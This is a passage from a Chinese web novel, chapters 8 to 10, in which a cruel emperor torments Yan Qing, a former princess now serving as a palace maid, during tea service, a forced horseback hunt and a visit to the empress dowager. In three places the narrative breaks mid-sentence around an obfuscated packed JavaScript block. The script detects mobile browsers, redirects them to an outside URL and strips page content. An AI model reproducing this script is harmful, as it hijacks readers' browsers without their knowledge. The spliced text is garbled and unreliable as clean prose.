“当然,即使我以前没有这方面的经验,但我学东西很快,不是我自负,小姐,我或许是最合适这份工作的人。” 柳辰良笑着回答,言卿也被他有些幽默的话语逗笑了。 “你住在这附近吗?我好像从未见过你呢。” “......不,我从老家的村子里来的,没有地方落脚,听说这里提供住所便来了。” “这样啊,别担心,虽然我们的茶楼比较简陋,但我会按时付给您工钱的,当然了,既然您住在这里,那也会和我们在一起吃饭,若您愿意的话。” 言卿对眼前的青年印象很好,即使他的话有些漏洞。 “那可太好了,这下不用愁饿肚子了,小姐,您真是一个善良的人。” “哈哈,叫我言卿就好。” 柳辰良似乎对眼前的话有些不好意思,脸颊微微发红,咧开嘴笑了笑。 第一印象是十分的开朗和阳光,言卿喜欢和这种人打交道,尤其是在见到纪玄逸那个疯狂的人之后。 于是言卿露出了轻松温暖的笑容,将泡好的茶推到了柳辰良面前。 “很感谢您愿意来到这里。” 双手握着茶杯的言卿将目光投向窗外,微风轻轻的吹了进来,随风而来的香气十分清新。 “您身上有茶叶的味道。” “那是自然,若您在这里呆一段时间,也会和我一样。” 言卿打趣的语言让柳辰良的脸变得通红,连喝茶的动作都微微一滞,似乎是愣住了。 “谢谢......小姐,言卿,您真的是一位十分善良的人。” “谢谢,希望您在茶楼过的开心,相信我,你会爱上这个茶楼的。” “那是当然......” 最后一句声音很小,小到言卿有些听不清,但没关系,言卿相信这位年轻的男子会照看好这个茶楼。 8. 第 8 章 “昊儿,来吃饭了。” 第二天清晨,言卿早早的推开弟弟的房门,只见个子小小的男孩正穿戴整齐的站在屋内。 “看上去你已经准备好去私塾了,我们家昊儿真帅气。” 言卿微笑着蹲下,温柔的帮弟弟整理衣冠,今天是昊儿第一次去私塾的日子。 两人并不是亲姐弟,但却出奇的相似,尤其是那双大大的充满生机的眼睛,但与言卿不同的是,昊儿的眼神中偶尔会流露出软弱的情感。 “我不想去私塾。” 突然,昊儿垂下眼眸,抿起嘴巴,看上去很是犹豫。 言卿轻轻的捧起弟弟的脸颊,用温柔的目光看着他,缓缓开口道。 “为什么呢?” “我,其实不是不喜欢,我只是担心......我害怕私塾里的人会看不起我......” 言卿闻言,轻笑了一声,宠溺的摸了摸弟弟的头。 “怎么会呢,在姐姐眼里,昊儿是一个很有礼貌的小公子。” “真的吗?” “当然,那里是非常好的私塾,先生们也十分友善。” 得益于当朝的政策,无论是哪里的孩子,无论是什么家庭,都有进入同一家私塾的机会,接受平等的知识,这是昊儿最需要的。 “那,我想去。” 听了言卿的话,昊儿的表情变得明朗了起来,两只眼睛炯炯有神。 “姐姐要在皇宫里,不能经常回来看你,但是,昊儿,记好了。” 言卿的表情突然变得有些严肃,双手搭在弟弟的小肩膀上,一字一句的说道。 “如果在那里,有人欺负你了,绝对不能忍着,一定要立即告诉姐姐,知道了吗?” “是的......” 对于言卿的警示,昊儿很明显有些懵懂,他似乎暂时无法想象那种情况。 得到了肯定的回答,言卿握住弟弟的手站起身。、 “走吧,我们去楼下。” —— “言卿,这些糕点你带在身上,若是皇宫的饭菜不合口味就拿出来垫垫。” “姐姐姐姐,你下次什么时候回来呀。” “很快就回来了,你在私塾要乖乖的,不要惹爷爷生气哦。” 茶楼门口,爷孙俩依依不舍的和言卿告别,今天是回皇宫的日子,言卿不禁也有些伤感,但还是要好好叮嘱家中的事。 “放心吧言小姐,我会照看好一切的。” 言卿对着一旁的柳辰良点了点头,经过这两天的相处,这个男人确实一个很靠谱的人,无论是端茶倒水还是收拾仓库都做的十分完美。 而且他似乎还识字,偶尔会教昊儿读书。 有他在家中,言卿确实感到放心了许多。 “那么,我出发了。” “路上小心。” —— “王婶,我来了。” “啊,言卿回来了。” 言卿一进门,几个身影便立刻热情的迎了上来。 “你不在的两天可想死我了。” “好了好了,我这不是回来了吗,翠莲。” 原来跑过来迎接言卿的人正是那日刁难她的那几人。 在那日被排挤的当晚,言卿一回来就和众人开诚布公的聊了,原来以翠莲为首的这些人以为言卿是来取代他们的关系户,所以才对她十分警惕。 但在言卿对她们讲述了自己到这里的原因之后,大家的态度立刻发生了一百八十度的大转变,并且对之前的事情道了歉。 众人很快便打成了一片,尤其是翠莲,许是出于愧疚,对言卿更是百般照顾。 “今天的衣服在哪里,赶紧开始工作吧。” “......言卿,你过来一下。” 就在众人欢笑之际,王姨突然面色凝重的走了过来。 “王姨,怎么了?” 言卿放下刚拿起的洗衣篮,转身问道。 “你......最近可见过皇上?或是得罪了什么人?” “......” 开门见山的话让言卿的心脏不由得一咯噔,为什么王姨会知道这些事情? 不,或许她还知道,不然就不会过来询问自己,而是直接带着自己去皇上那磕头认罪了。 “没,我没有见过,也没有得罪什么人。” 她得罪纪玄逸的事情,绝不能让王姨和无辜的人牵扯进来。 “那真是奇怪......” “发生什么事了,王姨。” “乾清宫的公公昨日传话过来,命你去乾清宫做宫女,一会公公来接你。” “!” 言卿一下子被这句话击中了,瞪大了眼睛,就像是听到了什么可怕的事情。 “......王姨,我在这里呆着挺好的。” 过了一会,言卿姗姗的开口,似乎是想再争取一下微妙的机会,但王姨也只是无奈的摇了摇头。 “是皇上的命令......你瞧,乾清宫的人来了。” 因为皇上的脾气原因,乾清宫的宫女很少,所以留下的都是最优秀最有资历的宫女,她们许多人都是从先皇时期就留在皇宫的。 作为最接近皇上的宫女,工钱是最丰厚的,但同时也是离死亡最近的。 王姨无论如何都无法猜测其中的缘由,当然,那也不是她能揣测的事情,她唯一能做的,就是好好叮嘱言卿,并且为她祈祷。 “肖将军,您居然亲自来了,衣裳的事十分抱歉,奴婢找了许久都未寻得那件披风。” 来人不是乾清宫的公公,看上去,皇上身边的御前侍卫亲自来了。 对于王姨的道歉,肖风只是开朗的摆了摆手。 “无事,那披风已经找到了,不知怎得居然在皇上那里,对了,言姑娘在吗,我是来接她去乾清宫的。” 王姨低头行了个礼,侧身示意言卿过去。 即使心中有百般不愿,但皇命难违,其后果是她无法承担的,于是,言卿还是拖着沉重的脚步上前。 甚至没有和翠莲她们告别...... 言卿错了,自己不该抱有侥幸心理,皇上依旧不打算放过自己。 或许,自己那日根本不应该收下那些钱...... “肖将军,我可否问一下,皇上为何要让我去乾清宫吗?” “唔,我也不是很清楚,或许是皇上最近需要一个在身边专门伺候他的人。” “在身边?” 言卿试图从肖风口中问出纪玄逸找自己的原因,即使看上去对方也不清楚,但,什么叫在身边?难道不是在乾清宫做打杂的活吗? 乾清宫很大,但纪玄逸不希望有贴身宫女存在,于是这个职位一直在空缺,本该一直这样下去才对。 “嗯?公公没说吗,你以后的工作就是皇上的贴身宫女,这可是宫女里面工钱最多的活,当然,比其他工作都要辛苦就是了。” 肖风也多多少少听说了言卿的故事,对于缺钱的言卿来说,工钱高的工作是再好不过的了,不过,不是什么人都能完好无损的在皇上身边生存下来。 俗话说,伴君如伴虎,这一点肖风深有体会,而就那日在书房中二人剑拔弩张的氛围来说,言卿这些时日可有最受了。 无论发生什么,在那位善变的君主感到无聊之前,都只能忍受。 许是注意到言卿在不断颤抖的双手,肖风开口道。 “不用紧张,只要不是对皇上极其失礼,就不会有事。” 肖风这里的有事指的是性命之忧,但其实他说谎了,即使你没有对皇上无礼,仅仅是一个动作,一个眼神,都有被处死的可能,这一切都取决于君主的心情。 至于肖风为何说谎,那是因为他总有种莫名的感觉,眼前的这个女人绝对可以在皇上身边生存下来,她不会死。 “我们到了,太监会带你去准备。” 单方面的对话结束了,在言卿回过神的时候,立刻惊慌的开口。 “等,等一下,为什么是我,我从来没有做过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887818|192088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这种工作,根本无法侍奉皇上,会让皇上动怒......” “今后请多指教,言姑娘。” 最终,无奈的,没有任何选择的言卿未能进一步的抵抗,言卿认命的一般跟上了一旁公公的步伐。 穿过花园可以看到精致的回廊,太监带自己去的地方不是书房,比那更远一些,换好衣裳的言卿在不知通向何方的回廊上走了好一阵子。 最后太监在一扇大门前停了下来,言卿抬头,很气派的大门,两个壮实的守卫站在门口。 那个疯子一般的男人就在这扇门后,他这次又会说什么伤人的话让自己蒙羞呢? “拿上这个。” 开门前,一旁的侍女递上一个托盘,里面是言卿再熟悉不过的茶具,但茶杯不止一个。 看上去,里面不止一人。 “这些都是很昂贵的茶具,请多加注意。” 许是也不放心这个第一次见面的姑娘,太监再三叮嘱道,这是为了自己好,也是为了她好。 “我明白了。” “进去吧。” 两个壮实的侍卫用力拉住门把手,伴随着一声闷响,门开了。 言卿紧紧的握着托盘迈开了步子,出奇的是,此时的她比那日更加坚定和冷静。 大门被推开之后豁然开朗,眼前的景象让言卿有些惊讶,不是意料之中的庭院,映入眼帘的是一片广阔的草原。 低矮的山丘代替了围墙,到处生长着茂密的乔木,并不杂乱,许是人工进行了修剪。 远远的,言卿可以看到一片如同山水画般的油绿森林,连空气都让言卿不由地陶醉。 “这边。” 还没来得及享受眼前的美景,言卿便被公公叫了过去,二人一同向那片森林走去。 远远的,在梧桐树荫下,言卿隐隐约约看见一个亭子。 在那里,自己方才见过的肖风,站在一旁安静的擦拭着一把弓,而另一边,一个外表温文儒雅的男人坐在桌前,在不断说着些什么。 而自己再也不想见到的男人,此时正悠闲的坐在椅子上,似乎对于面前喋喋不休的男子有些烦躁,于是微微合上了眼。 高高束起的墨发被风微微吹起,俊俏的面庞和气质与山水画般的风景完美融合。 不禁让言卿回想起在溪边的那一幕。 要是这男人不会说话该有多好? “皇上,人带到了。” 当两人靠近时,第一个做出反应的是肖风,他看上去有些开心。 “嗯?真是罕见,您居然会叫宫女?” 正与纪玄逸对话的男人也察觉到了动静转过身来,是言卿第一次见到的人。 即使不是正式的服装,但从那光滑的布料与那人谈吐看来,也是相当尊贵的人物。 “刚好我也有些渴了。” 肖风小心翼翼的放下手中的弓坐了下来。 方才闭目的纪玄逸也缓缓抬起了头,漫不经心的将目光投向言卿,当两人的目光相遇的时候,言卿就已经感到有些不舒服了。 但他只是看着言卿,没有说话,当然,对于言卿来说,这样最好。 一时间,在场的目光都聚焦在了言卿身上,太监见状,悄无声息的退了下去。 言卿垂下目光,给每一位的杯中都倒好茶水,不去思考其他事情,而在她准备退下的时候,一直保持着开朗表情的肖风突然开口了 “可以给我的杯子稍微倒满一些吗?我有些渴了。” “按照您的吩咐。” 言卿对这位御前侍卫的印象很好,比起那个没礼貌的皇帝来说,和肖风这样的人相处更轻松。 对于礼貌的人也要礼貌才对,于是言卿露出了淡淡的笑容,恭敬的低下了头,同时用余光悄悄瞥了一眼始终没有拿起茶杯的纪玄逸。 不巧的是,对方似乎一直在注视着自己,言卿一下子撞进了深邃的眼眸中。 阳光从绿叶的缝隙中撒了进来,纪玄逸的瞳孔微微收缩,始终一言不发的看着言卿。 9. 第 9 章 阳光从绿叶的缝隙中撒了进来,纪玄逸的瞳孔微微收缩,始终一言不发的看着言卿。 给人一种兴致不高的感觉。 “你是新来的宫女吗,之前从未见过你。” 在言卿倒茶的时候,陌生男子突然开口,言卿恭敬的点了点头。 “今天是奴婢第一天入宫。” “这位是宋颜睿,是宫内的宰相,以后我们会经常见面。” 肖风找着空子为友人作了介绍,对于一个宫女来说,肖风已经足够照顾她了。 “这位是言卿,以后会作为皇上的贴身侍女在宫内居住。” 言卿很感谢肖风对自己的照顾,即使她不明白为什么对方要做到这种程度。 “既然是贴身侍女,公公应该会教你规矩才对。” 而那位叫宋颜睿的男子似乎面色却有些凝重,严肃的语气中又带着一丝担忧。 而言卿却不明白他口中的规矩是什么,自己从进门到现在,做了什么冒犯的举动吗? “皇上不喜喝茶,既然是贴身宫女,应该清楚主子的喜好才对,去把茶倒了吧。” 宋颜睿之所以这么说大多是出于善意的提醒。 皇上一直以来都是以酒代茶,再上好的茶叶都不会品尝一口,这是宫内人尽皆知的事情。 而眼前这位初次见面便担任贴身宫女的女子,居然犯了如此低级的错误。 皇上对于错误的容忍度极低,所以为了保住这位宫女脑袋,宋颜睿先一步指出了这一点。 但,为什么她的表情看上去有些为难? “这......” “喂,颜睿,忘和你说了,皇上最近该喝茶了。” 在宋颜睿疑惑之际,肖风突然低声说道,示意宋颜睿看向一旁。 有些不明所以的宋颜睿转头看去,发现皇上正一言不发的拿着茶杯悠闲的品着。 宋颜睿的表情一下子变得无比奇怪,自己或许是眼花了才会看见这种情况。 烈酒伤身,自己身为丞相已经劝诫过皇上许多次了,但无论如何对方都会无视自己的话。 “寡淡无味。” 无论是多么上好的茶叶,都无法使这位挑剔的君主满意,长年以来都是如此。 但......现在那位皇帝,居然在自己的眼前喝起了茶,宋颜睿身为丞相,自然有着过于常人的洞察力。 肖风说是皇上最近换了喜好,但宋颜睿却不这么认为,这件事情绝不会那么简单。 为了搞清楚状况,宋颜睿的目光不断往返于纪玄逸与言卿之间,随后落在了自己面前的茶杯上,随后就像是看透了什么一样露出了笑容,顺手端起面前的茶喝了一口。 ‘啊......原来如此。’ 新来的宫女,突然开始喝茶的皇上,一切都能连起来了。 “你泡茶的技术很好。” 看起来,是眼前这位宫女绝佳的泡茶技术改变了皇上的喜好,才使得皇上做出了奇怪的行为。 宋颜睿似乎认为那就是正确答案,于是满意的端起茶杯又品了一口,确实是很新奇的味道,居然能令皇上满意,还真是高手在民间。 “多谢国师夸奖。” 自己的手艺被人夸奖,自然是很令人开心的事情,但总有人会来打破这一份和谐。 “倒是很有当下人的潜质。” 突然传来的低沉的声音就像刀子一样刺向了言卿,笑容立刻僵硬在了脸上。 “嘴上对朕无礼的说着尊严二字,最终还不是为了几两银子回到了皇宫,是为了偷看朕的身体吗?” “......” “看上去,你不但无礼,脸皮也很厚。” 虽然已经预料到了自己会被恶语相向,但在周围还有他人的情况下被如此羞辱,言卿的心脏还是跳的厉害,小脸涨的通红。 纪玄逸轻哼一声,将手中的茶一饮而尽,目光并未从言卿身上离开。 纪玄逸居高临下的俯视着言卿,而后者在他眼中看出来了明显的笑意。 言卿这才意识到皇上指名自己当贴身宫女的原因,不,她早该想到的,只不过是不愿相信罢了。 但,和那日书房的处境不同,自己将在这个男人身边一直工作下去,所以,为了自己的性命,言卿要表现的更加恭敬。 “奴婢那日冒犯了皇上,罪该万死,还请皇上恕罪,但既然皇上让奴婢胜任这份工作,奴婢就会将之前的事情抛掷脑后,做到最好。” “你的意思是,若朕叫你,你就会像小狗一样跑过来是吗?” “即使那是奴婢不愿意做的事,但若是皇上的命令,奴婢会做的。” “......哈。” 纪玄逸听到这话忍不住的笑了,眼前这个一脸严肃女人,即使双手都在颤抖,但嘴上还是一句话也不肯说,令人啼笑皆非。 “看上去你为了高额的工钱放弃了尊严。” “奴婢并没有放弃什么,服从皇上的命令就是奴婢的工作。” 许是怕说出来的话产生误会,言卿又接着补充道。 “当然,正如那日所言,奴婢并没有到十分糟糕的情况,所以奴婢会守住底线。” “真是荒谬,你以为朕会对你那卑贱的身体产生兴趣吗?” “奴婢不敢。” 言卿将头埋得低低的,表现出与自己言语完全相反的恭敬行为。 纪玄逸将目光定格在言卿身上,而一旁的宋颜睿将送到嘴边的茶杯僵硬的举在半空中,用十分荒唐的眼神交替的看着两人。 眼前的场景甚至不能简单的用惊恐二字形容。 “这是什么情况......” 宋颜睿转头看向身边的肖风,试图从他口中得到答案,这短短的几句对话,信息量太大了,即使聪明如自己也无法完全理解。 “皇上对言小姐好苛刻......” 听着肖风的低语,宋颜睿缓缓从震惊中回过神来,正了正神色,表情又变的严肃起来。 苛刻?是的,对于一个女子来说,这是相当过分的侮辱,但,即便是这种情绪,对于皇上来说,也是施舍。 在纪玄逸身边多年的经验来看,这是皇上提起兴趣的一种表现,通常这种情况分为两类。 要么是不怕死的,对皇上出言不逊的越界的家伙,要么是极其倔强的,不会给出想要反应的家伙。 前者的几乎全部以身首异处的惨状告终,后者的情况则有些不同。 就比如前些日子,在宫内抓到的那位刺客,似乎是对主子的忠心太深,无论多么残酷的刑罚都无撬开他的嘴,让人很是头痛。 就在肖风准备了结他的性命的时候,皇上走进了地牢,嘴角带着令人毛骨悚然的笑容,就像是看到了有趣的猎物一般。 无论将士如何折磨都无动于衷的刺客,仅仅和皇上呆了三柱香的时间,就把所有情报吐了出来。 审问结束之后,刺客的身上并没有新增多少伤痕,但双目呆滞,四肢不断打颤,就好像疯了一般。 而与此相反的是,从地牢里出来的皇上却面容清爽,看上去心情很好。 “皇上在践踏别人的引以为傲的东西时,会感到愉悦。” 这是宋颜睿从这些事情中得到的结论。 很显然,眼前的宫女属于第二种,因为她现在还活着,但那并不是一个好消息,甚至不如第一种情况。 “很可惜,她泡茶的手艺很好,也很漂亮。” 宋颜睿轻轻的叹了口气,表达自己的惋惜,这样的姑娘不管在哪里都会过的很好,但偏偏遇见了皇上。 而同样在君主身边的肖风却有着不同的看法。 “我认为言小姐不会落得那些刺客的下场。” 皇上最近始终是一副百无聊赖的样子,对什么事都提不起兴趣,只有在战场上才会显得有些生气。 就像是无比怀念那残酷的战场一样,回到皇宫之后一直松散的批阅着奏折,饮着烈酒。 原以为这种日子需要持续几天,但自从在御花园见到这个宫女之后,皇上的眼神就变了,这并不正常。 就像是饿了三天三夜的野兽看见猎物一般。 听了肖风的话,宋颜睿也觉得不无道理,于是看向言卿的目光又多了几分同情。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887819|192088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >‘其实只要跪在地上,不断地磕头求饶,皇上很快就会失去兴趣。’ 不过,宋颜睿还没有好心到给一个素不相识的宫女提议,即使觉得眼前的宫女很可怜,但他也爱莫能助。 纪玄逸一只手拄着下巴,另一只手慵懒的敲击着桌面,就好像在思索着下一句伤人的话语。 言卿的猜测是对的,下一秒,纪玄逸便抬眸看向自己。 “朕听闻平沙是游牧之国,想必他们的公主也一定精通马术骑射之道。” 从男人的口中听到故国的名字,言卿一时间有些恍惚,自己在儿时确实也学过这些东西,这是身为平沙皇族都要会的技艺。 但,眼前的男人不会平白无故提起这件事,于是言卿低下了头,恭敬的说道。 “回皇上的话,奴婢只是略懂皮毛而已。” 纪玄逸闻言,用手摸索着下巴,突然轻笑一声。 “呵,肖风,将朕的马牵来。” “......是?” 突如其来的命令让肖风有些疑惑,但还是乖乖照做。 他又要搞什么?将头埋下的言卿不自觉的皱了皱眉,心中顿时升起一丝不好的预感。 “你会骑马吗?” 言卿闻言抬头,只见男人的嘴角挂着一丝好看的弧度,看上去似乎有几分温柔,但言卿却保持着高度警觉。 “有过几次。” “甚好。” “......” 言语间,肖风以及将马带到,纪玄逸顺势从椅子上起身,大步靠近马匹,抬手抚了抚它的鬃毛,语气间带着几分笑意。 “朕许久没有打猎了。” “您前些日子不是才......” 肖风似乎小声的说了什么,但言卿没有听清,因为纪玄逸将目光放在了自己身上。 “上马。” 纪玄逸一手将身边的弓拿起,没有给言卿喘息的时间,立刻下了新的命令。 “......什么?” 看着突然逼近的纪玄逸,言卿下意识的后退,只有抬起下巴才能与之相望的男人,以及像岩石一样巨大结实的体格,给人一种原始的恐惧。 一旁的宋颜睿比言卿先一步理解了情况,立刻有些慌张的上前。 “皇上,那是匹烈马,让女子骑它去打猎太危险了,那弓的重量也......” 这名叫言卿的宫女,绝对会从马背上狠狠摔下,变得血肉模糊,落得十分凄惨的下场。 “你们可以退下了。” 短短几个字,立刻让宋颜睿闭上了嘴,纪玄逸没有看他一眼,只是定定的俯视着面前毫无头绪的言卿。 宋丞相说得对。 言卿抬头看向面前那和纪玄逸一样高大的马匹,不禁咽了口唾沫。 这比自己曾经在皇宫学习马术的时候骑的马,大了整整一倍,完全不是自己能驾驭的。 即使言卿的马术一般,但她也知道自己八成会摔得很惨。 ‘这就是你希望看到的?’ 看着被吓坏的自己,男人的表情似乎很是满意,就好像无数次过分的侮辱就是想让自己崩溃。 “做不到?” 随即,一个不耐烦的声音传了过来,言卿抬眸看向男人,一时间觉得畏手畏脚的自己像个傻瓜。 言卿咬了咬牙,她不想如男人的意,在场已经没有其他人了,没关系,反正言卿也没指望有人能帮忙。 无论如何,只要上马就行了。 于是言卿果断的转身,将方才肖风二人坐的椅子搬了过来。 没有犹豫的,踩着椅子用尽浑身力气的爬上了马,没有注意体态,也不在意被拖拽的裙摆,毫无优雅可言。 “真是狼狈。” 粗糙的动作让身下的马儿不停的乱动,要不是纪玄逸用力拉着缰绳,言卿恐怕已经栽下来了。 “奴婢从未尝试过狩猎......恐怕难以让皇上满意,还是让肖将军来吧。” “只要是朕的命令,你就该忠诚的完成,不是吗?” “......” “朕会告诉你该如何做。” 10. 第 10 章 在言卿还没反应过来那句话是什么意思的时候,纪玄逸下一秒便一个侧身翻身上马,结实的坐在了言卿身后。 “等等!您这是做什么?” 言卿被纪玄逸的举动吓了一跳,反应过来之后立刻开始挣扎,试图从马背上离开。 可惜的是,言卿的力量在纪玄逸眼中完全不值一提,无论如何激烈的挣扎,她都被男人牢牢的禁锢在怀中。 “别动,你想摔断腿吗。” 低沉的声音让言卿停下了手中的动作,却并未让其冷静下来,她死死的握住缰绳,因为浓烈的龙涎香瞬间入侵了自己的鼻腔。 “拿着。” 突然,一把长弓猛然立在自己面前,耳边即刻传来纪玄逸冰冷的命令,让自己抓住那把弓。 言卿的大脑一片空白,下意识的乖乖照做,手上突然接触到的冰冷的触感让言卿开始止不住的发抖,又或者是因为毫无预兆的握住自己的冰凉的手。 “看前面。” “......” 言卿颤抖的抬起头,身体拼命的向前挤,身体变得笔直,试图让自己远离身后的男人。 许是不满足女人惊恐的表情,于是他猛地夹了一下马腹,□□的马儿突然快速疾驰了出去。 “啊——” 突然的惯性让言卿猛地向后,一下子栽倒在纪玄逸的怀中,随即言卿就像是受惊一般一下子挺直了腰板。 要不是手中有长弓抵着,言卿现在估计已经趴在马背上了。 但,手中握着弓,那就意味着自己无法抓住缰绳。 纪玄逸说的没错,言卿的国家是个游牧国家,身为公主的言卿当然自幼学习马术。 但,即使是及笄之后,她也从未体验过速度如此之快的马匹。 滚烫的风从言卿的脸庞疾驰而过,让她几乎无法睁开眼睛。 “抬起头,手不要抖。” “......是。” “放松,你不会握弓吗?” 纪玄逸的声音听上去有些不悦,但言卿早就已经忘记了正确的握弓方法。 但那也无所谓,因为身后的男人自顾自的拉着自己的手指移动,试图将它们移到正确的位置,纠正她的姿势。 男人的气息愈发浓烈,言卿的大脑一片空白,一瞬间自己仿佛回到了那日的书房之中。 骏马在森林中飞快的疾驰着,言卿被吓得浑身发抖,但还是在纪玄逸的强迫下努力将头抬起。 “瞄准那只鹿,拉弓。” “......” 无论男人怎么说,言卿都无法让紧绷的身体冷静下来,而最重要的是,自己根本拉不动这张几乎和自己一样高的弓。 “你听不懂吗?手不要抖。” 眼前的小鹿已经注意到了策马而来的二人,立刻受惊的跑开了,纪玄逸见状眉头微微皱起,语气也染上了几分不悦。 对于突如其来的责备,言卿感到莫名其妙和恼火,自己明明是被硬拉上来的,为什么要被他这么说? “我听懂了,但我无法控制我的胳膊!” “既然是你的身体,为什么无法掌控?还是......你根本就不会狩猎。” 差不多已经习惯了这种速度,言卿尝试逐渐适应马的节奏。 所以男人嘲讽的话语在言卿听来异常的刺耳,她努力压下想要瞪他的冲动。 “经验不算多,但并非不会。” “证明给朕看。” 纪玄逸无所谓的耸了耸肩,甚至还好心的帮言卿将箭矢放到弓上。 如果不按男人说的做,这场闹剧永远不会结束。 言卿从小就很有学习天赋,无论是书画还是骑射,而现在,她要向这个可恶的男人证明这一点。 “呼......” 有了纪玄逸的帮助,言卿现在只需要冷静的瞄准就好。 屏住呼吸,言卿将视线移到前方仓皇逃跑的小鹿身上,那是一只幼崽。 一瞬间,言卿的思绪有些恍惚,因为一句无所谓的挑衅,自己要抹杀那个幼小的生命吗,如若那样,自己和背后的男人有何区别? “刷——” 而就在言卿走神之际,手中的箭刹那间离弦而出,向着那鹿崽飞去。 来不及了!言卿下意识闭上了眼睛将身体蜷缩起来,不忍心看到接下来血腥的一幕。 “!” “呵,拙劣的技术。” 下一秒,耳边传来了男人嘲讽的话语,言卿小心翼翼的睁开了眼睛。 疾驰的马儿缓缓的停了下来,方才被自己射出的箭矢结结实实的扎在了树上,而周围却见不得方才的幼鹿。 自己射偏了。 言卿不由得松了口气,而身后的男人仿佛也失去了兴趣,将言卿手中的弓拿走,待马匹停稳之后立刻翻身下马,嘴上还不忘继续贬低言卿。 “你说大话的本事,朕今日是见识到了。” “......” 面对男人的冷嘲热讽,言卿的心中感到十分的恼火,但即便如此,自己也无法对此表达任何的不满,而这也恰恰是最让言卿生气的。 当然,只有言卿一人这么认为。 “下来。” 纪玄逸的心中感到荒唐,因为这个女人丝毫不掩盖对自己的不满,瞧瞧那个表情。 言卿从恼火的情绪中回过神,皱着的眉头还没来得及舒展,就看到那个讨厌的男人朝自己伸手。 “你准备在那坐一天吗?” 言卿自然不相信纪玄逸会如此好心,而她也不打算接受。 虽说一个人上马很难,但下马她可以做到,顶多是十分狼狈摔下去罢了,但那也比和眼前的男人接触要好。 于是言卿完全无视了纪玄逸,一脚踩住脚蹬,猛地翻下了马。 “嘶——” 若不是之前学习过马术,这一下怕不是得崴脚。 “呵。” 似乎是注意到了言卿有些痛苦的表情,纪玄逸略带不屑的冷哼一声,就好像在嘲讽言卿无用的倔强。 “皇上若没有其他事,奴婢就先告退了。” “来书房。” “......” 看上去事情还没有结束,原以为方才的一切已经让这个男人是失去了兴致,但现在看来依旧遥遥无期。 男人留下一句话便转身离开了,而言卿却站在了原地,迟迟没有移动。 ‘万事开头难,只要撑过这几天就好了。’ 言卿在心中默默说道。 这宫中的工钱是极高的,自己不能意气用事,与爷爷和昊儿比起来,自己受的侮辱根本不算什么。 自己到底是为了什么才来到这里的? 在给自己做好心理建设之后,不知道自己即将面对什么的言卿,终于迈开了步伐跟上了的男人。 然而,两人还没走几步,一位太监不知从哪冒了出来。 “启禀皇上,太后娘娘派老奴传话......” “何事?” “太后娘娘说她思念皇上了。” 言卿悄悄的从后面探出脑袋,看上去自己可以逃过一劫了,去见太后这么私人的事情,总不可能带着自己吧。 “呵,那朕可不得不去了。” 由于男人背对着自己,言卿看不见他的表情,但从语气中却能听出一丝讥讽。 皇上和太后似乎关系不和? 但无论如何,这些都不是言卿需要关心的,一位等纪玄逸跟着太监离开之后,自己便可以离开。 然而就在言卿暗自窃喜的时候,本该离开的纪玄逸突然回头看向了言卿。 即使什么都没说,言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887820|192088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卿也完全明白那眼神中的意思...... —— “瞧瞧,玄逸来了,可让哀家好等啊。” 言卿悄悄的跟在纪玄逸身后,来到了慈宁宫内,纪玄逸前脚刚踏入屋内,太后便立刻起身迎接,完全是一副慈母的形象。 “朕听闻太后思念,便立刻赶了过来,但没想到,此处竟还有外人。” 言卿闻言,小心翼翼的抬眸,顺着纪玄逸的目光看了过去,只见在太后身后有一位熟悉的面孔,那种程度的美人,任何人见过一次都不会忘记。 “哀家叫皇上来正是因为此事,这位是思柔,张国师的掌上明珠,听说你们已经见过了。” “小女见过皇上。” 张思柔闻言,立刻起身上前问候,而纪玄逸只是淡淡的瞥了一眼,便开口道。 “朕没印象呢。” 明明前些日子还当众羞辱了父女二人,现在居然说记不得了? “皇上这些日子政务缠身,记不清也是难免的事。” 太后对着张思柔笑了一下,一副慈祥的样子,随后便招呼纪玄逸坐下。 ‘太后似乎是个不错的人呢。’ 言卿不禁感叹道,就像是一位普通的慈祥的老太太一般,即使面对无礼的言行也依旧面带笑容,慈眉善目,就像是自己的母亲。 但奇怪的是,言卿并没有对她产生亲切的感觉。 “玄逸啊,快来这边坐,哀家有要事要和你商议。” 太后说着,拉着张思柔回到了桌前,示意纪玄逸过去,随后便将目光投向了一旁一言不发的言卿。 “丫鬟就先退下吧。” 十分平和的语气,但却让言卿感到不寒而栗,这种奇怪的感觉是什么? 即使不抬头,言卿也能感觉到充满恶意的目光,而且不止一道。 自己似乎知道那强烈的违和感是什么了。 现在的她作为一个下人,从踏进这间屋子的一瞬间,就是个异类。 好奇怪,心脏跳的很快,眼前一片模糊,言卿不知道自己为什么会这样,她现在只想立刻逃离这个充满恶意的地方。 “......奴婢告退。” “慢着。” 就在言卿踉踉跄跄的离开之际,一道巨大的身影骤然挡在了门前,几乎将言卿视线中的光线全部挡住。 